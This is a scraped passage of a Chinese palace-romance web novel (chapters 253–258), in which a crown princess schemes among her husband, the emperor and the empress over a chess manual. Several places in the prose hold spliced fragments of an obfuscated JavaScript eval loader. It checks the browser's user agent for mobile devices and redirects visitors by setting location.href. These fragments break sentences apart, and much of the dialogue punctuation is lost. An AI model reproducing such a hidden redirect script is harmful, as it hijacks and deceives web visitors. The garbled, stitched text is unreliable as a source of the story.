云清婳冷笑,“他最好被下诏狱!上夹棍、挨板子!既然他不需要我的帮扶,我就统统收回!不狠狠整治他一顿,他就分不清大小王!” 本小章还未完,请点击下一页继续阅读后面精彩内容!个狗东西! 真以为自己了不起? 一家人里,皇上最讨厌的就是他,他是最拖后腿的! 吱呀—— 门被推开。 云清婳的心脏猛然一缩。 她暗骂了一句脏话。 方才的话不会被他听见了吧? 皇上也真是的! 为何没有赏裴墨染一顿板子? 裴墨染的桃花眼水光潋滟,嘴角却在上扬,“蛮蛮,你醒了就好了!听王显说你醒了,我一退朝就来了。” “……”云清婳不语。 飞霜将门窗阖上,悄悄退下了。 裴墨染站在榻前,他深深鞠了一躬,“蛮蛮,我知道错了。” 云清婳挑眉。 “我之前总觉得我只是词不达意,所以伤了我们的夫妻情分。方才在朝堂上我才大彻大悟,你跟云家帮了我许多。为了辖制裴云澈,你才会在丧礼上出此下策。可我不知感恩,还指责你……” “我是这世上最没良心的人!总是看不到你的付出。我不用出手内斗,是因为有你跟云家帮我扫平障碍。” “可我却无耻地标榜自己正义凛然,把你做的一切归于伤天害理,我愧对于你。” 他拱手,又深深鞠了一躬,眼中泪光闪烁。 云清婳看得出来这不是演的,他是真的知道错了。 狗男人身上不好的苗头,已经被她及时拔除了。 他还没有烂掉。 “夫君,我本来可以不用这么累的。我本可以嫁给世子、侯爷,成为当家主母,处理内宅事务,婆母也会如珍似宝的待我。 可嫁给你,我不得不陷入无休止的政斗,因为我不能眼睁睁地看着我的夫君被欺负。我问心无愧,可皇后还总是欺凌我。”云清婳轻车熟路地PUA起来。 “我知道,都是我的错!都怪我,是我没保护好你!”裴墨染蹲在床榻前,脸贴着她的手。 她的手背感受到温热的潮湿。 他哭了。 喜欢易孕娇妃勾勾手,王爷俯首称臣了请大家收藏:()易孕娇妃勾勾手,王爷俯首称臣了更新速度全网最快。 第253章 孩子静悄悄,必定在作妖 “夫君真的让我心寒了,那一晚,夫君变得好陌生,让我觉得从未认识过你,就好像我只是一颗不能出错的棋子,若是出错,就会被你抛弃。”她挤出一滴泪来。 “不是的!蛮蛮,我对不住你!是我混账!我一直忽略你对我的付出,我享受着你的好,我没有资格怪你,你打我吧。”裴墨染哽咽道。 云清婳翻了个白眼。 这么贱的要求,她这辈子都没听过。 “我才懒得打你,我还盼着皇上赏你板子呢。”她一脸嫌弃。 裴墨染的嘴角上扬,小心翼翼地问:“所以娘子原谅我了对不对?你说过的,只要我知道我的错误,你就会理我。” 她阖上眼,假装入睡。 裴墨染厚着脸皮,脱去皂靴,学她趴着,他哑声道:“那日你中箭,真是吓死我了,你这么娇弱,可你却为父皇挡了箭。” “那一刻,我想若是箭射在我身上就好了,要是没有你,我以后不知道该怎么办才好。” 云清婳睁开眼,瞥了他一下,她讽刺道:“说得倒是好听!你舍得殉情不成?前些日子你不还临幸了好几位夫人?享尽了齐人之福!” 裴墨染脸色惊变,他忙不迭解释:“我可什么都没有做!你都不知道我受了多少苦!一个孟姜女、一个男人婆、一个长舌妇!” “特别是那个男人婆,力大如牛!她居然想要强迫我,幸亏我英勇抵抗,差点被她得逞!”回忆起这些,裴墨染像是吞了只苍蝇,脸色发青。 那三天简直是在历练! 云清婳在心里冷嘁。 装什么贞洁烈男?不会以为她会感动吧? 后宅的女人几乎都被他临幸完了,他表什么忠心? “别人有名字!什么男人婆?亏别人还帮了你呢。”她数落道。 裴墨染生怕她觉得他忘恩负义,连忙道:“我知道!她叫陈如牛。” 云清婳:??? 你听听,这说的是人话吗? “陈如燕!你才是牛呢!”她白了他一眼。 裴墨染讨好地凑近她,在她嫩滑的脸颊上亲了一口,“蛮蛮,你不生我的气了对不对?我日后不会再忘恩负义了!你别跟我离心,我不是没良心的人。” “夫君,这是最后一次,日后倘若你再这样,我会跟你和离的。”她板着脸,认真地说。 裴墨染的心脏一痛,他从没想过他们二人会分开。 但他知道蛮蛮没有开玩笑。 她聪慧机敏,对爱的要求纯粹、偏执,她想要离开他,有的是办法。 “我发誓,日后倘若我再忘恩负义,伤害你,我就天打雷劈!”他竖起三根手指。 云清婳捂着他的嘴,“我才不信你。” 裴墨染的嘴角上扬。 蛮蛮果然还是心疼他的。 “这么久没见,娘子想不想我?”他将脸垫在胳膊上,侧过脸,笑吟吟地看着她。 云清婳敷衍的颔首。 “既然想我,还让我下诏狱?”他挑眉,混不吝地促狭。 她的小脸登时一红,恼羞成怒道:“夫君怎能偷听人家说话?你太过分了!” “你声音这么大,我想听不见都难!”他刮了下她的鼻尖,“世上哪有这么狠心的妻子?嗯?让夫君下诏狱?你不得心疼死?” “我才不心疼,就让皇上把你丢进去!让你把酷刑都受一遍!”她伸手,在他胳膊上狠狠一拧。 裴墨染佯装痛苦,拧眉呻吟,二人笑闹了好一会儿。 他忽的正色道:“蛮蛮,方才我差点真的下诏狱了,父皇谁都相信,唯独不信我。此次的刺杀,父皇居然怀疑了我。” 她觉得他没有自知之明。 皇上有多“讨厌”他,他难道不知道吗? “夫君,皇上年纪大了,也渴望父子亲情,你日后在皇上面前也撒撒娇啊。”云清婳苦口婆心地劝道。 她是认真的。 皇上这个老登儿就吃这一套。 “嗯?”裴墨染难以相信自己的耳朵。 他一个大男人撒什么娇? 云清婳偏过脑袋挨着他,在他脸颊上亲了一口,她分析道:“夫君,你要学会争宠啊,你看贤王、睿王都对皇上百依百顺、嘘寒问暖,只有你,皇上不召见,你便不搭理。他是皇帝,你是皇帝?” “我又不是溜须拍马的人,干不出这么恶心的事。”他鄙夷不已。 要不是受伤了不方便,她真想一巴掌扇过去。 烂泥扶不上墙! “夫君又开始清高了。” 他似乎有了阴影,条件反射般地辩解:“我没有!蛮蛮,我都听你的,你接着说。” 她继续道:“皇上应该从未碰见过像夫君这样倔的人,他作为上位者,一定对你产生了征服欲,你若是服软谄媚,对他表现出崇拜,他一定会对你改观。” 裴墨染觉得别扭,“蛮蛮,我只对你服软谄媚过,对父皇这样,多恶心啊?” 他不能接受。 堂堂八尺男儿,怎能用这种腻歪的手段? 他对蛮蛮能说喜欢,说爱,他总不能对父皇说:父皇,我爱你吧? 父皇听了,一定会宣太医给他治脑子。 云清婳真想把他踹下床,这么久以来,她不就是这么对他的? 这些恶心,她都受得了,他怎么就受不得? 云清婳一脸崇拜地看着他,循循善诱道:“夫君一定会讨得皇上的喜爱,让我跟孩子过上好日子对不对?” 裴墨染想要摇头,可看着她信赖、期待的小表情,拒绝的话根本说不出口。 他勉强道:“……我试试。” 她满意了。 “夫君,刺杀的事,你能解决吗?”云清婳问。 若是他没头绪,她可以给他一点点提示。 毕竟她知道剧情。 裴墨染的眼神讳莫如深,“放心吧,刺客已经吐露实情了,只是尚未找到证据,跟睿王脱不了干系。” 她颔首。 “方才不是想让我下诏狱吗?这会儿知道担心我了?口是心非,心疼我还不承认。”他一脸得意,美滋滋地勾唇。 云清婳:…… 大哥,你能不能别自我攻略了? “孩子呢?”她岔开话头。 “我让王显接他们进宫了,在外面跟狗玩着呢。”他轻扬下巴,指了指外面的庭院。 云清婳有些不安。 孩子静悄悄,必定在作妖。 这么安静,肯定不对劲。 喜欢易孕娇妃勾勾手,王爷俯首称臣了请大家收藏:()易孕娇妃勾勾手,王爷俯首称臣了更新速度全网最快。 第254章 这孩子好茶,随我 正想着,门被推开,承基、辞忧甩着小肉腿,一前一后地跑了进来。 “娘亲~”二人齐声叫着,身后还跟着云清婳曾经养的狗。 两个小奶包显然不知道这几日发生了什么,估计以为娘亲去外面玩了。 云清婳甜甜地笑了,“诶。” “爹爹,吃。”承基从袖中掏出一块缺了一角的绿豆糕,递给裴墨染。 裴墨染伸手接过,有些莫名其妙,“谢谢承基。” “不用谢。”承基拉着辞忧走了。 裴墨染检查了下,绿豆糕没脏,应该没掉地上。 他正欲吃,云清婳把他手里的绿豆糕拍掉。 “嗯?”他狐疑地看着她。 门外,传来两个孩子的声音。 “哥哥,修勾、不喜欢、糕糕。”辞忧很委屈。 承基安慰道:“没关系,给爹吃。” 裴墨染:??? 云清婳笑了,“哈哈哈……” 狗都不吃,给裴墨染吃。 一股热血直冲裴墨染的天灵盖。 所以,这块绿豆糕被狗咬过! 他的拳头硬了。 裴墨染直接下榻,鞋都顾不上穿就出去拎起承基的后衣领,“你个臭小子!你要毒死你爹?” “呜呜呜……”承基吓哭了,小短腿在空中乱蹬。 “呜呜呜娘亲~”辞忧吓得跑向了云清婳,一脸‘你打了哥哥,就不能打我咯’的表情。 这欠欠的表情,跟裴墨染如出一辙。 云清婳哭笑不得,“裴墨染,你放开儿子。” “蛮蛮,我给他点教训。”裴墨染想着,随便拍拍承基的屁股蛋就算了。 “逆子!” 一个威严的声音如雷霆之势压了过来。 皇上黑沉着脸来了。 承基如同看到了救星,他张开双手要抱,“爷爷呜呜呜……” 皇上将承基一把夺过,他眯着眼,鄙夷地看着裴墨染,“你看看你衣冠不整,成何体统!岂有半分东宫的体面?” “儿臣知错。”裴墨染尴尬地转身回去穿鞋。 飞霜正要扶云清婳下榻,皇上摆摆手,示意免礼。 他温和道:“太子妃,你的伤口还未痊愈,在宫里就不必行礼了!朕听说太子妃醒来,过来看看。” “多谢陛下。”云清婳故意咳了两声,声音带着娇弱。 皇上的视线不忍地从云清婳身上扫过。 他心中有九成相信刺杀与云清婳无关。 云清婳是个聪明人,身子羸弱,怎敢以命相搏? “方才发生了什么?朕真是开眼了,太子平日就是这般粗鲁教育子女的?休要把西北的野蛮习气带入京城。” 皇上不留情面,尖酸刻薄地责骂裴墨染。 裴墨染拱手道:“儿臣受教了,但儿臣只是想吓唬承基,没想真打。” “呜呜呜爷爷,屁屁痛。”皇上怀里的承基揉揉自己的小屁股。 裴墨染:??? 云清婳:??? 皇上刮了裴墨染一眼,“这就是你说的没想真打?倘若真打,你是不是要把承基打出个好歹?东宫怎么出了一个残暴野蛮的太子?” 裴墨染的脸都绿了,有苦说不出。 这个臭小子,还不到两岁就会骗人了! 云清婳也傻眼了。 儿子好茶啊。 这是随她了? “皇上,承基方才闹着玩,把狗咬过的糕点给殿下吃,殿下才想着教训一下。”云清婳轻柔地解释。 皇上眉宇间的戾气瞬间消散,他的嘴角抽搐了几下。 他看向承基,和蔼道:“承基真聪明,都知道节俭了。不过下次,可以把糕点喂鱼。” “好。”承基奶呼呼的颔首。 皇上刮了眼裴墨染。 这个逆子,连教育儿子都不会! 裴墨染有苦难言。 皇上将承基、辞忧带走后,裴墨染委屈奔向云清婳,“蛮蛮,你方才都看见了吧?我没打他,那个逆子居然敢陷害我!” 云清婳看他被气得语无伦次,忍不住笑了,“儿子太过分了,罚他今晚不准吃奶得了。” 裴墨染绷不住笑了,“我知道,承基聪明。” …… 云清婳当日就被接回东宫。 过了一个月,裴墨染便查出了证据,洗脱了冤屈。 监察院、大理寺发现,刺杀的箭镞的确出自神机营。 一个副将的弓弩在一个月前丢了。 但他早就向上级、内务府以及兵部报备过,当时他也罚了一个月俸禄。 裴墨染又将刺客的供词、相关的证据呈给皇上,所有的罪证直指睿王。 皇上看后,并不惊讶,他的眸子如同冰封,“这个蠢货!太子,你说该如何处置?” “睿王不足为惧,不如趁机整治虞将军?”裴墨染拱手道。 皇上看他的眼神中增添了一抹赏识,似乎没有想过他的睿智,“就按你想的办。” 为了保护睿王,虞将军只能打碎牙齿和血吞。 如此一来,就除去了心头大患。 甚好。 不久后,所有证据都指向了虞将军,虞将军只好弃车保帅,主动交出手中的兵权。 小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩!虞将军气得半死,看睿王的眼神都带着怨毒,虞贵妃一病不起。 经过此事,睿王彻底被踢出局,跟储君之位再无瓜葛。 但皇上对裴墨染的态度依旧不冷不热。 …… 玄音阁。 飞霜着急地踱步,“主子,怎么办?苏灵音已经知道咱们的目的了,若是她抖落出来,我们岂不是功亏一篑了?” “无妨,你当我这几年的努力是白费的?裴墨染跟裴云澈是不会相信的。”云清婳倚靠在贵妃榻上,眼神坚定。 据她所知,苏灵音已经私下找过裴云澈了,但裴云澈那边没有异动。 这就说明,苏灵音铩羽而归,并没有得到想要的结果。 这几年的攻略,她是成功的。 正想着,门被推开了。 裴墨染阴沉着脸,风风火火的走了进来,他周身缠绕着戾气。 “夫君,谁惹你了?”云清婳问。 他气得胸膛起伏,怒道:“蛮蛮,我方才向父皇示好,送了参汤去御书房,父皇却怀疑有毒,让太监试了又试!我何必自讨没趣?” 云清婳明白皇上的生性多疑,越是位高权重就越恋权。 恐怕就算是裴云澈,他也不会全然放心。 “夫君,你还说呢,承基给你的东西,你敢吃吗?”她打趣地问。 裴墨染一哽,“……” 他自然不敢吃! 这小子就是想毒死他! 她勾勾手,“夫君,你过来。” 裴墨染在她身边坐下,他蹙眉,“是不是背又疼了?蛮蛮,你下次不准给任何人挡刀,你保护好自己就够了。” 她可不是保护别人,她是在为自己挣一个好前程。 “我不疼,你紧张什么?”她伸出胳膊勾住他的脖子,在他耳边吐息如兰,“夫君,你陪我上街走走啊。” 只是吹了口气,裴墨染的耳朵就红透了。 他摇摇头,像是不经撩的毛头小子,“你、你的伤还没好呢,别受凉了。” 云清婳在他脸上亲了一口,湿漉漉的眼睛可怜兮兮地看着他,“真的不可以吗?” 他在她脑门上敲了一下。 “你使美人计也没用!少来!我岂是会被美色诱惑的肤浅之人?”裴墨染觉得她一定是妖精变的,乱他道心。 喜欢易孕娇妃勾勾手,王爷俯首称臣了请大家收藏:()易孕娇妃勾勾手,王爷俯首称臣了更新速度全网最快。 第255章 点天灯 “嘶……”云清婳吃痛地揉了揉额头,飞出一记眼刀。 这个不解风情的狗男人! 她的手在他的胸口上轻拂,所到之处,酥酥麻麻的。 裴墨染感觉心脏痒痒的,却怎么也挠不到。 云清婳将手探进他的衣领,裴墨染立即扼住她的腕,“心肝儿,我认输了,你别撩了。” 他的声音喑哑,忍得辛苦。 “夫君是答应带我上街了?”她眨了眨清泓的双眼。 裴墨染蹙眉,他哄道:“蛮蛮,你想要什么,我给你买啊。” 她的小脸垮了,“你不答应,我就让哥哥们陪我去了。” 他心中警铃大作,脑海中全是谢泽修的身影。 “不!我陪你去!”他指了指脸颊,示意她亲他。 云清婳的坏心眼上来了,她反常地献上香吻,与他唇齿纠缠,吻出奇的缠绵激烈。 裴墨染的血液激涌,恨不得将她扑倒。 可想到她的伤势,只能克制,险些憋出内伤。 一吻毕,他看她的眼神泛着光,就像狼看见肉了似的。 “蛮蛮,你怎么这么坏啊?”他委屈道。 云清婳笑得像只狡猾的狐狸,唇瓣透着晶润的红,“夫君,你欺负我啊。” 他忍得辛苦,在桌边灌了一壶水才压下火气。 云清婳在一边咯咯地笑了。 “等你伤势好了,我一定不会放过你。”裴墨染咬牙切齿。 她嘁了一声,轻车熟路地怼道:“说得好像你原本准备放过我似的。” 裴墨染感受到了无边躁意,他将她抱去床榻上,“小妮子,真当我收拾不了你了是吧?” “我的伤势还没好呢,伤口才长好,会流血的……”她慌了。 狗男人不会真的**大发了吧? 他笑得诡异,在她腰间捏了一把,“无妨,娘子躺着,我伺候你!” 她羞得捂住了脸。 良久,寝殿中的暧昧气氛才消散。 云清婳的身子软成了一滩水,她脸上都是泪痕,气喘吁吁。 不得不说,狗男人的服务意识越来越强了。 裴墨染检查了下她的伤口,确定没裂开,给她盖上了被褥,“为何想出去?” “万寿节快到了,皇上喜欢下棋,听闻聚宝楼新来了一本大昭棋圣留下的棋谱,我想去碰碰运气。 裴墨染恍然大悟,难怪她这么坚持,“我对棋谱不了解,我都听娘子的。 云清婳的眼神讳莫如深。 出门前,飞霜给云清婳梳着发髻,她好奇地问:“主子,聚宝楼不是您的店吗?何必跑这一趟? “因为,我没想把棋谱给裴墨染啊。她说话时,尾音上扬,眼里满是算计。 飞霜摸不着头脑,“啊? “我要让裴墨染亲眼看看皇后的嘴脸,让他不停的对皇后失望。 她的目的是挑拨离间。 …… 云清婳跟裴墨染来到聚宝楼时,门前已经停了不少宝马香车。 “看来想要争夺棋谱的人不少。裴墨染蹙眉。 云清婳颔首,“万寿节快来了,想必各路官员都想要靠此棋谱博得皇上的青睐。 他们被小厮引进了聚宝楼的二楼雅座,向下一看,一楼早已坐满了人。 裴墨染一眼扫过,认出了不少官员。 二楼陆陆续续有不少身穿绮罗,打扮得雍容华贵的人入场。 全场至少有一百人。 而坐在他们对面的正是裴云澈。 裴云澈摇着折扇,对裴墨染挑衅一笑,他担忧的目光随之落在云清婳身上。 云清婳垂下眼。 死狗贼现在是装都不装了? 别害她行吗? 裴墨染握住她的手,安抚着她的情绪。 “真是阴魂不散!他低骂道。 他命小厮将屏风拉起,隔绝裴云澈的视线。 一声锣响,掌柜捧着一个木箱走上一楼的圆形看台。 “诸位贵客久等了,想要这本《开元棋谱》的人不少,开口的客人非富即贵,鄙人只能出此下策,在此拍卖,还望各位见谅!掌柜的拜了拜。 全场没有异议。 几个前排的男客催促:“别废话了,拍卖吧! 掌柜鞠了一躬,他介绍道:“这是咱们大昭棋圣杜启益亲笔写下的棋谱,一共三十二篇目,招招精辟,起拍价十两纹银! 一楼风起云涌,出价的声音此起彼 伏。 小厮大喊:“我们家大人出二十两! “我们家公子出二十五两! “三十两! “…… 楼下的声音嘈杂不堪,屋顶仿佛都要被掀翻。 二楼的客人讥诮地看着楼下,脸上写满了势在必得。 才几息的功夫,棋谱的价格已经抬到了一百两。 “真是疯了,一本破书怎值这个价?裴墨染戏谑道。 云清婳捏起一块桂花糕咬了一口,“夫君不想要的话,我们就走啊。 他笑看了她一眼,“我自然是想要的,既然父皇喜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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掌柜敲响了锣,“还有比一千二百两更高的吗?若是没有,棋谱便是楼上这位公子的了! 裴墨染道:“点天灯。 云清婳的眼中闪出惊讶。 看来裴墨染真的很想要这本棋谱。 这就够了! “我也点天灯!裴云澈紧接着说。 众人倒吸了口凉气。 掌柜的眉头蹙起,“这……从未见过两个人同时点天灯的啊。 第256章 棋谱花落谁家? “这合规矩吗?凡事都有先来后到吧?”裴墨染冷声嘲讽。 裴云澈打开折扇,放在胸前摇了摇,“做买卖,价钱最重要,您总不能让掌柜有钱不赚吧?” “没有规矩,不成方圆。你也不能总是肆意妄为吧?”他阴恻恻道。 “呵……友好竞价而已,您不会生气了吧?”裴云澈讥笑。 这让裴墨染心中的火气蹭得燃起。 云清婳握住他的手,她递给他一个安抚性的眼神,“夫君。” 裴墨染压制住怒气。 剑拔**张之势,溢了出来。 就算不知道二人的**,也能猜到二人旗鼓相当,身份尊贵。 一楼看台上的掌柜连忙说:“都怪我!怪我没说清楚规矩,这才让贵客起了争执!” “方才有一个贵不可言的贵客驾到,恐怕这棋谱不能再拍卖了。” 裴墨染、裴云澈的脸色惊变。 云清婳妖冶的勾唇,她的双眼洞悉一切。 会场掀起了轩然大波,众人都吵囔着不服,让那人滚出来。 掌柜冷汗涔涔,他道:“抱歉,实在是贵客不容得罪啊,诸位莫要意气用事。” 在座众人面面相觑,心中有了猜测。 “莫非是……圣上?” “圣上嗜棋,恐怕还真是……” “罢了罢了!掌柜客气了!既然贵客喜欢,就让贵客拿去吧!” 有墙头草松口,众人立即见风使舵。 …… 玄音阁。 裴墨染抱着承基、辞忧逗弄起来。 两个小家伙笑个不停,尖叫声把人的耳朵都刺疼了。 “蛮蛮,棋谱看来是被父皇拿去了,如此也好。”他的心情看起来不错。 云清婳趴在床榻上,让飞霜上药,“夫君,你派人查查啊,若不是皇上呢?” “已经派人在查了。”他道。 飞霜小声道:“主子,您真的把棋谱给皇上了?” 她用气音道:“不,我给皇后了。” “啊?”飞霜瞪大了眼睛。 主子为什么要把棋谱给皇后这个老妖婆? 这岂不是把便宜让给别人占了? 云清婳看着她茫然的小脸, 不禁笑了,“放心吧,我自有安排!我不会让皇后顺心如意的!” 飞霜虽然不明白主子的盘算,但她相信主子一定不会让她失望。 …… 翊坤宫。 皇后拿着棋谱,眼中释放出精光,她笑得酣畅,“呵呵呵呵……听说墨染跟云澈今日都去了聚宝楼!他们都想要这本棋谱呢!” 金嬷嬷蹙眉,为难道:“娘娘,这该如何是好?可惜,棋谱只有一本。” “不!应该是,幸亏棋谱只有一本!”皇后的脸色透着傲慢,“若是墨染肯乖乖听话,本宫或许会考虑将棋谱给他,否则本宫就把棋谱给云澈。” 金嬷嬷欲言又止,最后还要咬咬牙,“娘娘若是把棋谱给殿下,定能修复母子感情。” “岂有母亲讨好儿子的?上次本宫为他做了一盘饺子,可结果呢?他竟然联合云清婳这个小**害本宫! 本宫也是会心寒的!不给他点颜色看看,他莫不是真以为可以压制本宫了?”皇后的眸色一厉。 金嬷嬷长长地吐出一口浊气。 娘娘真是糊涂了。 太子殿下才是娘娘的亲生儿子啊。 好事难道不该先紧着亲儿子? “把消息放出去吧!看云澈跟墨染谁先来。”皇后摆摆手,一副操控众生的自得神色。 金嬷嬷的眉眼拧着,颤声道:“是。” 消息很快就传到了东宫。 裴墨染揉了揉太阳穴,他最担心的事情还是发生了。 “蛮蛮,棋谱真在皇后手中。”他的剑眉蹙起。 云清婳环抱着他的腰,脸贴在他的胸口上,“你是皇后的儿子啊,她对你本就有亏欠,或许能要来。” “皇后想掌控我,她故意放出消息,明摆着是让我去求她!倘若她真想将棋谱给我,早就命人送来了。”裴墨染看得很清,一语中的。 “但是,若是不试一试,夫君甘心吗?”她扬起脸,与他对视,她早就看穿了一切。 裴墨染勾唇笑了,在她额上落下一吻,“知我者,莫若娘子也。” …… 裴墨染跟云清婳很快就进了宫。 翊坤宫外,云清婳停住了脚步。 “夫君,你进去吧,我在外面等你。”她的眉 眼恬静,脸上带着淡淡的笑意。 裴墨染知道她的心思,他攥紧她的手,“无妨。 “皇后不喜欢我,我就不进去了,免得因为我,伤了你们的和气。她的表情坚定。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16076585|178440||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >他心疼地拥住了她,“没有人能超过我们的情分,你在外面坐着,我很快就出来。 “快去吧。她推他走。 裴墨染先进去了,而后裴云澈也来了。 云清婳跟裴云澈四目相对,二人站在花圃前,四下有宫女、太监,所以不能太过亲近。 “蛮蛮,伤口还疼吗?裴云澈的眼中满是心疼,“裴墨染简直混账!你的伤势未愈,他怎能带你东奔西跑? “我没事,看到裴郎安然无恙,我就放心了。她憔悴地挤出笑。 他的眼中情潮翻涌,“从江城回来后,裴墨染有没有为难你? 她摇摇头,“他以为是你掳走我,没有为难我。可是,皇后娘娘似乎已经知道我们的事了。 裴云澈的眼中闪过暗色,他望着门,“蛮蛮别怕,是我在纠缠你,与你无关。 云清婳很满意。 她要的就是这个答案! 气死皇后这个老妖婆! …… 门内。 皇后的面前摆着《开元棋谱》。 她倚靠在上首,似笑非笑地看着裴墨染,“墨染,你还是来了。 “母后,儿臣需要这本棋谱。裴墨染开门见山。 皇后挑眉,打趣道:“你可不是溜须拍马的人,怎么突然开窍了? “……裴墨染觉得她的话异常刺耳。 一时之间竟不知该摆出什么样的表情。 “是云清婳教你的?皇后冷嘁,“墨染,这本棋谱自然可以给你,但你问母后要东西,母后也有想要得到的东西。 裴墨染与她对视,“母后想要什么? 皇后的眼中浮现出满意的光,“本宫要你给灵音一个孩子! “母后,儿臣恕难从命。他不会在身边埋下一个祸患。 更何况,他厌恶苏灵音至极。 皇后不紧不慢,她似乎早就有所预料,“那你休掉云清婳! “儿臣绝对不会休掉蛮蛮!蛮蛮给儿臣生了一对儿女,护驾有功,你为何容不下蛮蛮?他的声音陡然拔高。 “呵,你怎么这么激动?本宫又没说她不好!皇后刻薄的讽刺,她倚靠在凤位上,高高在上,“既然如此,你选一个吧! 金嬷嬷揩去头上的冷汗。 皇后娘娘的态度哪像在对待儿子? 简直连陌生人都不如! 为何娘娘这么要强,总是想压过殿下一头? 第257章 皇后气吐血 裴墨染的心好像被灌进一壶酸醋,胸腔酸胀,他被气笑了。 皇后究竟是有多糊涂,才觉得他会因为一本棋谱,休掉蛮蛮。 真是可笑! 他抱着一丝希望,不死心道:“母后,母子之间何须交换?” 曾经他不明白,他使劲浑身解数,想要博得母后的喜欢。 可自从有了孩子,他懂了。 父母爱子,是一种本能,孩子是不用付出的。 若是承基、辞忧问他要劳什子棋谱,他一定会给。 “你有把本宫当母后吗?墨染,以前母后问你要什么你不给?可现在本宫说什么,你都不答应,这是你逼本宫的!”皇后指着胸口,眼中含着泪。 “儿臣不要了!一本棋谱罢了,抵不过蛮蛮丝毫。”他转身离去。 他对皇后失望透顶。 “站住!”皇后拔高声音,“墨染,你给本宫站住!” 裴墨染头也没回。 “墨染!你若是再不停下,本宫就把棋谱给云澈!”皇后哭喊着。 他的唇角扯出一抹笑。 看! 她的心里早就谋划好了不是吗? 这本棋谱,她根本没想给他。 裴墨染一出大门,便看见了等候的裴云澈。 他视若无睹,径自走向阶下的云清婳。 “蛮蛮……”他走向她,神色温柔,“让你久等了。” “夫君,没事吧?”云清婳听见了里面的动静。 母子俩方才又吵起来了。 裴墨染摇摇头,他扶着她离开,“自从有了承基、辞忧,我明白了许多道理。我也接受了,我没被父母疼爱过的事实,我对皇后早就失望了。” “夫君,蛮蛮疼爱你。”云清婳的语气满是心疼。 “幸好有你。” …… 翊坤宫内。 皇后用帕子拭去眼角的泪,“云澈,墨染太让本宫失望了。” “太子只是还没想通。”裴云澈淡淡道。 “本宫宁愿他不是太子!若是能回到从前该有多好啊?”皇后拿起棋谱,交给裴云澈,“云澈,你不要让母后失望啊。” 裴云澈感激道:“母后放心,儿臣定不辜负母后的栽培。” 皇后颔首她破涕为笑“若是墨染也跟你一样孝顺就好了!云澈母后只交代你一件事尽快娶妻吧!你年纪不小了!” 他的脸倏然一沉“母后是在为儿臣的终身大事考虑还是为了防止什么事情发生呢?” “云澈你怎能这么跟母后说话?”皇后的脸上露出委屈。 “没错母后知道了!你跟云清婳是不可能的!你怎能被那种**迷惑?她是狐狸精一边迷惑墨染 “母后的条件若是这个这本棋谱儿臣不要了。”裴云澈将棋谱放到桌上。 皇后的心发慌偌大的不安感充斥着她的四肢百骸就好像她身后空无一人无依无靠。 “云澈你怎么可以为了一个狐狸精对母后这么说话?” 裴云澈正色道:“母后慎言!是儿臣**都是儿臣纠缠、勾引蛮蛮此事与蛮蛮无关!” 皇后瞠目结舌她瞪大眼睛难以置信地打量着裴云澈。 她那么知礼守节、克己复礼的儿子怎会说出这么不害臊的话? 一股热血上涌冲上了她的喉头她的舌苔好像尝到了一股腥甜的铁锈味。 “你怎么可以为了那个**这么诋毁自己?”她捂着胸口胸口气得喘不上气来。 “儿臣告退。”裴云澈面无表情地甩袖离开。 尽管没有说一句重话但皇后知道这是裴云澈生气的表现。 “云澈你收着棋谱你收着……”皇后捂着胸口紧紧盯着他的背影“你回来……” 可裴云澈没有回头。 “噗……”皇后呕出了一口血。 金嬷嬷忙不得上前“娘娘您没事吧?快传太医!娘娘的旧疾又犯了!” “把棋谱给云澈把棋谱给云澈送去……”皇后的眼角滑出热泪不停地催促。 “是……”金嬷嬷将棋谱交给宫女让宫女送出去。 皇后的声音颤抖“金嬷嬷你是不是也觉得本宫偏心?” “……”金嬷嬷不知如何回答。 她哽咽道:“本宫也没办法墨染与本宫势同水火本宫身边只剩云澈了。” 金嬷 嬷不放心地问:“娘娘,那殿下怎么办?殿下会不会怪您?” “那他就怪本宫吧!等他一无所有,他就明白了,世上只有本宫对他才是最好的!”皇后的眼中闪着坚定的光。 …… 万寿节很快就到了。 云清婳跟裴墨染早早便出席寿宴。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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所以京城中人只知道姐姐遭遇了不好的事,可具体是什么事,知道的人少之又少。 苏灵音怎么敢的? 思及此,云清婳怒意翻涌,双臂剧烈地颤抖起来。 第258章 蛮蛮决定说出秘密 “呵呵……苏灵音笑得猖狂。 云清婳的眼中扬起嗜血的光。 为什么总要逼她当恶人? 为什么总要犯贱? “蛮蛮,你怎么了?裴墨染发现云清婳的脸色不好,急忙搂住她。 云清婳将脸埋进他的怀里,嘴唇都在颤,滔天的怒火几乎要将她的理智燃烧殆尽。 她恨不得一刀捅死苏灵音。 “夫君,我想跟你说一件事。 裴墨染发觉她的状态不对,慌张问道:“是不是伤口裂开了?嗯?我带你去看太医。 她摇摇头,“不是的…… “那就好,你想说什么?说吧,我听着。他温柔地揉揉她的脑袋。 云清婳渐渐找回了理智,现在不是说秘密的时候。 这个场合不安全。 “回家再说吧。她的双眼泛红,紧绷的身躯得到了放松。 他用指腹揩去她眼角的眼泪,“蛮蛮想什么时候说都可以,千万别憋在心里。 她颔首,“夫君,蛮蛮若是瞒了你一件很大的事,你会不会怪我? “我哪敢怪你?他不假思索,“任何事,都不能撼动我们的情谊。 “嗯。 …… 宴厅的另一侧。 